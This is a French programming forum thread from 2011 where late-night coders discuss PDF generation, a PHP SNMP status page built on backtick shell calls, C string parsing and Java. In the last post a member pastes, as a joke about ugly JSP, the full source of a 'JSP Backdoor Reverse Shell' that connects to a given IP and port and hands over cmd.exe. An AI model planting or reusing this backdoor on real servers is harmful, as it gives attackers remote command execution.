#51 Le 07/06/2011, à 21:53
- Kanor
Re : /* Topic des codeurs couche-tard [5] */
la génération des pdf en général c'est pas humain.
Et ça existe aussi des truc comme tu montre en exemple dans python mais on peux trouver des système de template pour rendre la chose presque gérable.
http://www.rubyinside.com/the-state-of- … -3408.html
(sinon pour python je conseil ça c'est pas mal
http://www.jondesign.net/2010/06/creer- … n-reports/ )
Hors ligne
#52 Le 07/06/2011, à 21:59
- The Uploader
Re : /* Topic des codeurs couche-tard [5] */
J'ai vu ces bibliothèques (wickedPDF, PDFKit, Prawn) au cours de mes recherches d'une alternative, mais je pense qu'elles seront interessantes à mettre en place à partir d'un nombre/complexité critique de PDFs à générer... (là j'en ai que deux à faire, que j'ai mis dans une seule fonction paramètrable, laquelle est dans un module, donc pour le moment c'est gérable).
edit: bonne nuit.
Dernière modification par The Uploader (Le 07/06/2011, à 22:00)
- Oldies PC : Intel Pentium 3 @ 800 Mhz sur CM ASUS P2B-F, GeForce 4 Ti4800 SE, Disque Dur Hitachi 160 Go, 512 Mo de RAM, 3DFX Voodoo 2, Sound Blaster 16 ISA PnP, Windows 98 SE / XP)
- Desktop : Intel Core i7 6700K @ 4 GHz sur CM ASUS Z170-P, GeForce GTX 1070, SSD Samsung 850 EVO 1 To, 16 Go de RAM, Disque Dur Seagate Barracuda 3 To, Windows 10
Hors ligne
#53 Le 07/06/2011, à 22:42
- :!pakman
Hors ligne
#54 Le 07/06/2011, à 22:46
- grim7reaper
Hors ligne
#55 Le 07/06/2011, à 22:46
- tshirtman
Re : /* Topic des codeurs couche-tard [5] */
aujourd'hui j'ai recopié et proprisé énormément un programme fournis par notre prof de réseau, qui au moins a conscience de ne pas maitriser php, j'ai souffert, mais j'ai appris un truc horrible, en php `commande` execute "commande" dans le shell sous jacent... du coup ce fondu de awk s'est fait plaisir...
<?php
$hostname = "192.168.8.13";
$community = "public";
$tab = array(1, 2, 3, 5, 12, 21, 25);
$nom = array('winserver', 'brother', 'portable', 'lenon', 'cp1515n', 'R1', 'lienSuperieur');
$count = 7;
$basecommand = 'snmpget -v 1 -c '.$community.' -m IF-MIB '.$hostname;
$sysDescr = `$basecommand system.sysDescr.0 | awk /Version/`;
$sysLocation = `$basecommand system.sysLocation.0 | awk -F 'STRING:' '{print $2}'`;
$sysContact = `$basecommand system.sysContact.0 | awk -F 'STRING:' '{print $2}'`;
$sysUpTime = `$basecommand system.sysUpTime.0 |awk -F 'Timeticks:' '{print $2}'`;
?>
< html>
<head>
<title>$hostname</title>
<style type='text/css'>
.tab {
font-weight: bold;
width: 600px;
}
</style>
</head>
<body>
<table class='tab1'>
<tr><td>--------------</td><td></td></tr>
<tr><td>hostname</td><td><?= $hostname ?></td></tr>
<tr><td>community</td><td><?= $community ?></td><tr>
<tr><td>--------------</td><td></td></tr>
<tr><td>sysDescr</td><td><?= $sysDescr ?></td></tr>
<tr><td>sysLocation</td><td><?= $sysLocation ?></td></tr>
<tr><td>sysContact</td><td><?= $sysContact ?></td></tr>
<tr><td>sysUpTime</td><td><?= $sysUpTime ?></td></tr>
<tr><td>--------------</td><td></td></tr>
</table>
<?php
$basecommand = 'snmpwalk -v 1 -c '.$community.' -m IF-MIB '.$hostname;
`$basecommand ifDescr > /tmp/Descr`;
`$basecommand ifOperStatus > /tmp/OperStatus`;
`$basecommand ifOutOctets > /tmp/Out`;
`$basecommand ifInOctets > /tmp/In`;
?>
<table class='tab1'>
<th> . Usage . </th>
<th> . Port . </th>
<th> . Etat . </th>
<th> . in . </th>
<th> . out . <th>
<tr><td>----------</td><td>------------</td><td>-----------</td><td>-----------</td><td>-----------</td></tr>
<?php
for ($i=0; $i < $count; $i++)
{
$j=$tab[$i];
print "<tr>";
$descr=`grep "r.$j " /tmp/Descr | awk -F' ' '{printf ($4)}'`;
$stateb=`grep "us.$j " /tmp/OperStatus > /tmp/state `;
$states=`cat /tmp/state | cut -d ':' -f 4 | cut -d '(' -f 1`;
$staten=`awk -F ' (' '{print $2}' /tmp/state | awk -F ')' '{print $1}'`;
$out=`awk -F ':' '/ets.$j / {print $4}' /tmp/Out | awk -F ' ' '{print $1}'`;
$in=`awk -F ':' '/ets.$j /{print $4}' /tmp/In | awk -F ' ' '{print $1}'`;
?>
<td><?= $nom[$i] ?></td>
<td><?= $descr ?></td>
<td style="color: <?= (strstr($states, "down")) ? 'red' : 'green' ?>;"><?= $states ?></td>
<td><?= $in ?></td>
<td><?= $out ?></td>
</tr>
<?
}
?>
</table>
</body>
</html>
ça faisait longtemps que j'avais pas fait du php...
marrant, pour que ce post passe, il a fallut que j'ajoute un espace dans le tag < html>
Dernière modification par tshirtman (Le 07/06/2011, à 22:51)
Hors ligne
#56 Le 07/06/2011, à 22:58
- :!pakman
Re : /* Topic des codeurs couche-tard [5] */
Bah ça y ressemble fortement en tout cas
Me rappelait plus que c'était en .org c'était pourtant évident, merci !
Dernière modification par :!pakman (Le 07/06/2011, à 22:59)
...
Hors ligne
#57 Le 07/06/2011, à 23:31
- nesthib
Re : /* Topic des codeurs couche-tard [5] */
plop
Dernière modification par nesthib (Le 08/06/2011, à 00:00)
GUL Bordeaux : Giroll – Services libres : TdCT.org
Hide in your shell, scripts & astuces : applications dans un tunnel – smart wget – trouver des pdf – install. auto de paquets – sauvegarde auto – ♥ awk
⃛ɹǝsn xnuᴉꞁ uʍop-ǝpᴉsdn
Hors ligne
#58 Le 07/06/2011, à 23:35
- Elzen
Re : /* Topic des codeurs couche-tard [5] */
Hmm, il faudra que quelqu'un d'autre que moi teste pour me donner son avis, mais à première vue, ça ne rend pas trop trop mal, ce truc…
J'viens de refaire mon visualiseur d'état de batterie : plutôt qu'une série limitée d'images [plein, 80%, 60%, 40%, 20%, vide], j'ai mis une seule image, mais qui se recolore à chaque modif d'état.
Ça démarre en 0x00FF00 à 100%, et jusqu'à 50% de décharge, je laisse le vert à fond et j'ajoute de plus en plus de rouge. Une fois arrivé à 50% (donc à 0xFFFF00), le rouge reste à fond et c'est maintenant le vert qui diminue, jusqu'à 0xFF0000 pour 0%.
Bon, ça pourrait (ou pas) être encore plus la classe si on voyait en plus de ça le contenu de l'icône se vider dynamiquement aussi, mais j'ai largement pas le niveau.
Dernière modification par ArkSeth (Le 07/06/2011, à 23:36)
Elzen : polisson, polémiste, polymathe ! (ex-ArkSeth)
Un script pour améliorer quelques trucs du forum.
La joie de t'avoir connu surpasse la peine de t'avoir perdu…
timezone[blocklist]
Hors ligne
#59 Le 07/06/2011, à 23:56
- Pylades
Re : /* Topic des codeurs couche-tard [5] */
Bon, je crois qu’on peut le dire : je n’aime pas du tout manipuler des chaînes.
[…]
marrant, pour que ce post passe, il a fallut que j'ajoute un espace dans le tag < html>
Mais à part ça, FluxBB ne cesse de s’améliorer…
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
#60 Le 08/06/2011, à 00:29
- cm-t
Re : /* Topic des codeurs couche-tard [5] */
'Nuit;
Actu Ubuntu ☺/
Pauses Ubuntu sur Paris \_< -t
[(π)] La Quadrature du net
Hors ligne
#61 Le 08/06/2011, à 01:10
- Кຼزດ
Re : /* Topic des codeurs couche-tard [5] */
plop
dou
Hors ligne
#62 Le 08/06/2011, à 02:00
- Pylades
Re : /* Topic des codeurs couche-tard [5] */
Oh que oui, je déteste manipuler les chaînes.
Je croyais être arrivé à quelque chose de fonctionnel, mais en fait non, j’ai un bug.
Oui ce code est parfaitement ignoble, j’en conviens, mais il semblait fonctionner…
/*
* pylCLFB: the command-line file browser, by Pyl
* Copyright (C) 2011 Paul (…)
*
* This file is part of pylCLFB.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <string.h>
#include "cut.h"
static char* translate_fname(register char*);
static char escape_translate(char);
char cut_words(char* line, struct code* argl)
{
register char* s=line;
argl->first=NULL;
argl->second=NULL;
argl->op=NULL;
while (*s++ == ' ');
if (*--s == '\0')
return 0;
argl->first = s;
s = translate_fname(s);
if (!s++)
return 0;
while (*s++ == ' ');
if (*--s == '\0')
return 0;
argl->op = s;
while (*s++ != ' ');
if (*--s == '\0')
return 0;
else
*s++ = '\0';
while (*s++ == ' ');
if (*--s == '\0')
return 0;
argl->second = s;
s = translate_fname(s);
if (!s++)
return 0;
while (*s++ == ' ');
if (*--s != '\0')
return 1;
return 0;
}
static char* translate_fname(register char* s)
{
register char* t=s;
while (*++s != ' ')
{
if (!*s)
return NULL;
if (*s == '\\')
{
if (strchr(" \\abfnrtv", *++s))
*++t = escape_translate(*s);
else
{
*++t = '\\';
*++t = *s;
}
}
else
*++t = *s;
}
*++t = '\0';
return s;
}
static char escape_translate(char esc)
{
switch (esc)
{
case ' ': return ' ';
case '\\': return '\\';
case 'a': return '\a';
case 'b': return '\b';
case 'f': return '\f';
case 'n': return '\n';
case 'r': return '\r';
case 't': return '\t';
case 'v': return '\v';
}
return '\0';
}
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
#63 Le 08/06/2011, à 05:49
- grim7reaper
Re : /* Topic des codeurs couche-tard [5] */
Hello World!
@Pylade : j'essayerais de regarder ça ce soir en rentrant, si tu n'as pas trouvé d'ici là (d'ailleurs, c'est quoi le problème ?).
Par contre je déconseille d'utiliser register, tu emmerdes le compilo plus qu'autre chose (et donc tu risques de pourrir les perf, sauf si le compilateur que tu utilises le traite comme inline : il l'ignore et il t'emmerde, il prend juste ça comme un souhait et le fait si ça lui convient).
Je pense pas que tu fasses mieux que lui au niveau allocation de registre (coloration de graphe et analyse de flots), d'autant plus sur une archi type Intel avec son faible nombre de registres >_<. Si cette variable est vraiment très utilisé, il la mettra lui-même.
Dernière modification par grim7reaper (Le 08/06/2011, à 05:52)
Hors ligne
#64 Le 08/06/2011, à 06:42
- Compteur du TdCCT
Re : /* Topic des codeurs couche-tard [5] */
Scores totaux, depuis le début :
1) 3437 nesthib
2) 3070 samuncle
3) 2913 Pylade
4) 2189 Кຼزດ
5) 1703+5 grim7reaper /* ./viewtopic.php?pid=3486252#p3486252 */
6) 1673 cm-t
7) 1298 na kraïou
8) 866 helly
9) 862 \\Ouranos//
10) 659 gnuuat
11) 595 tshirtman
12) 565 Lagierl
13) 429 Rolinh
14) 358 nathéo
15) 355 The Uploader
16) 263 Kanor
17) 196 Askelon
18) 179 :!pakman
19) 121 ǤƦƯƝƬ
20) 99 kamui57
21) 93 petifrancais
22) 78 edge_one
22) 78 pierguiard
24) 70 gulp
25) 42 sakul
26) 39 Le Rouge
27) 37 ilagas
28) 34 xapantu
29) 30 keny
30) 26 gustare
30) 26 d10g3n
32) 25 GentooUser
32) 25 Morgiver
34) 24 ไ୦บเઢ'
34) 24 Steap
36) 20 CROWD
37) 18 Ph3nix_
38) 16 kouskous
39) 15 timsy
40) 12 stratoboy
40) 12 sailing
42) 11 alexises
42) 11 Crocoii
44) 10 Toineo
44) 10 NutMotion
44) 10 pseudovingtcinqcaracteres
44) 10 pfriedZ
44) 10 CasseTaTele
44) 10 Zeibux
44) 10 THS`
51) 8 Mornagest
52) 7 Vista
53) 6 ubuntlin
53) 6 asma.geek
55) 5 tendances-tdct
55) 5 kinouchou
57) 4 danychou56
57) 4 Neros
57) 4 Biaise
57) 4 totoflute
57) 4 pinballyoda ㋛
57) 4 NLS le pingouin
57) 4 ceric
57) 4 Dice-Man
65) 3 Revan26914
65) 3 raspouillas
65) 3 sweetly
68) 2 SoJaS
69) 1 geenux
69) 1 ArzhurBZH
Codez-vous trop tard le soir ?
Demandez au Compteur du TdCCT pour le savoir !
J’ai été généreusement codé par tshirtman ; d’ailleurs, voici mon code source. TdCCT CEP : ./viewtopic.php?pid=3493579#p3493579 (p3492608).
Hors ligne
#65 Le 08/06/2011, à 06:42
- Compteur du TdCCT
Re : /* Topic des codeurs couche-tard [5] */
Scores de la période en cours :
1) 70 Pylade
2) 37 Кຼزດ
3) 36 cm-t
4) 33 nesthib
5) 27 samuncle
6) 22 tshirtman
7) 19 na kraïou
8) 13 :!pakman
9) 10 Rolinh
9) 10 nathéo
9) 10 grim7reaper
12) 7 The Uploader
13) 4 \\Ouranos//
13) 4 kamui57
15) 1 xapantu
Codez-vous trop tard le soir ?
Demandez au Compteur du TdCCT pour le savoir !
J’ai été généreusement codé par tshirtman ; d’ailleurs, voici mon code source. TdCCT CEP : ./viewtopic.php?pid=3493579#p3493579 (p3492608).
Hors ligne
#66 Le 08/06/2011, à 08:24
- tshirtman
Re : /* Topic des codeurs couche-tard [5] */
@pylade: cela dit, apparement, ça vient plus d'un soucis de config de nante que de fluxbb
Hors ligne
#67 Le 08/06/2011, à 11:39
- Pylades
Re : /* Topic des codeurs couche-tard [5] */
Hello World!
@Pylade : j'essayerais de regarder ça ce soir en rentrant, si tu n'as pas trouvé d'ici là (d'ailleurs, c'est quoi le problème ?).
Oh, pas de soucis, je trouverai (enfin j’espère). C’est juste que j’aivait vite corrigé le premier bug ; et que pour le second j’avais envie d’aller dormir.
Par contre je déconseille d'utiliser register, tu emmerdes le compilo plus qu'autre chose (et donc tu risques de pourrir les perf, sauf si le compilateur que tu utilises le traite comme inline : il l'ignore et il t'emmerde, il prend juste ça comme un souhait et le fait si ça lui convient).
Je pense pas que tu fasses mieux que lui au niveau allocation de registre (coloration de graphe et analyse de flots), d'autant plus sur une archi type Intel avec son faible nombre de registres >_<. Si cette variable est vraiment très utilisé, il la mettra lui-même.
Moi non plus je ne suis pas fan à la base, mais vu le nombre de code qui réclarent en register pour ce genre de situation, je me dis que ça doit bien être utile à quelque chose… Par exemple je lui dis que je ne chercherai jamais à récupérer l’adresse de cette variable, même s’il peut peut-être s’en rendre compte lui-même (surtout que ces fonctions ne sont pas non plus trop compliquées). Ouais, je ne suis pas sûr de laisser le register.
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
#68 Le 08/06/2011, à 12:14
- tshirtman
Re : /* Topic des codeurs couche-tard [5] */
Vu le nombre de gens qui font de l'assembleur par ce que c'est plus rapide que le C, ça doit bien servir à quelque chose
Hors ligne
#69 Le 08/06/2011, à 12:31
- Dr Le Rouge
Re : /* Topic des codeurs couche-tard [5] */
J'ai fini ma documentation \o/ Je commençais à en avoir ma claque ^^
C'est deux suites de Cauchy qui veulent aller à la soirée 'no limit'. Hélas, à l'entrée le videur leur dit : "désolé, c'est complet !".
mon site perso (π²/6.fr) et mon blog
Hors ligne
#70 Le 08/06/2011, à 12:31
- Pylades
Re : /* Topic des codeurs couche-tard [5] */
Sauf que j’ai vu ça dans des projets sérieux.
(Je doute que les mecs de Gnu soient mauvais en C ; même si leur code est illisible.)
J'ai fini ma documentation \o/ Je commençais à en avoir ma claque ^^
La documentation c’est bien, mangez-en. Sauf que ouais, au bout d’un moment, c’est lourd ; mais ça peut être rigolo aussi, avec cette merveille qu’est Doxygen.
Dernière modification par Pylade (Le 08/06/2011, à 12:34)
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
#71 Le 08/06/2011, à 13:22
- Dr Le Rouge
Re : /* Topic des codeurs couche-tard [5] */
Bon, vu que ça fait un moment que je suis pas venu, je me dois de lancer un troll :
Java, leBien ou leMal ?
C'est deux suites de Cauchy qui veulent aller à la soirée 'no limit'. Hélas, à l'entrée le videur leur dit : "désolé, c'est complet !".
mon site perso (π²/6.fr) et mon blog
Hors ligne
#72 Le 08/06/2011, à 13:41
- Pylades
Re : /* Topic des codeurs couche-tard [5] */
Le mal.
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
#73 Le 08/06/2011, à 13:42
- The Uploader
Re : /* Topic des codeurs couche-tard [5] */
Le Mal Absolu.
Il suffit de regarder du côté du JEE (notamment les EJBs) pour s'en convaincre...
Dernière modification par The Uploader (Le 08/06/2011, à 13:42)
- Oldies PC : Intel Pentium 3 @ 800 Mhz sur CM ASUS P2B-F, GeForce 4 Ti4800 SE, Disque Dur Hitachi 160 Go, 512 Mo de RAM, 3DFX Voodoo 2, Sound Blaster 16 ISA PnP, Windows 98 SE / XP)
- Desktop : Intel Core i7 6700K @ 4 GHz sur CM ASUS Z170-P, GeForce GTX 1070, SSD Samsung 850 EVO 1 To, 16 Go de RAM, Disque Dur Seagate Barracuda 3 To, Windows 10
Hors ligne
#74 Le 08/06/2011, à 14:21
- Elzen
Re : /* Topic des codeurs couche-tard [5] */
Java, ç't'un langage qui partait d'une bonne idée, qui a du potentiel, mais qui cumule juste les défauts des langages compilés à ceux des langages interprétés.
Et puis les trucs dérivés de Java, genre JSP et compagnie, 'faut être motivé, quoi…
Elzen : polisson, polémiste, polymathe ! (ex-ArkSeth)
Un script pour améliorer quelques trucs du forum.
La joie de t'avoir connu surpasse la peine de t'avoir perdu…
timezone[blocklist]
Hors ligne
#75 Le 08/06/2011, à 14:30
- The Uploader
Re : /* Topic des codeurs couche-tard [5] */
code JSP bien crade (présentation et métier ensemble, syntaxe ultra moche..) :
//kaMtiEz .jsp
< %@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
< %!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;
try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));
char buffer[] = new char[8192];
int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)
try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
% >
<h1>JSP Backdoor Reverse Shell</h1>
<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>
< %
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd.exe");
StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
% >
Charlton Heston commente les JSPs:
You maniacs, you blew it up!! Ah, damn you! God damn you all to Hell!!
Dernière modification par The Uploader (Le 08/06/2011, à 14:36)
- Oldies PC : Intel Pentium 3 @ 800 Mhz sur CM ASUS P2B-F, GeForce 4 Ti4800 SE, Disque Dur Hitachi 160 Go, 512 Mo de RAM, 3DFX Voodoo 2, Sound Blaster 16 ISA PnP, Windows 98 SE / XP)
- Desktop : Intel Core i7 6700K @ 4 GHz sur CM ASUS Z170-P, GeForce GTX 1070, SSD Samsung 850 EVO 1 To, 16 Go de RAM, Disque Dur Seagate Barracuda 3 To, Windows 10
Hors ligne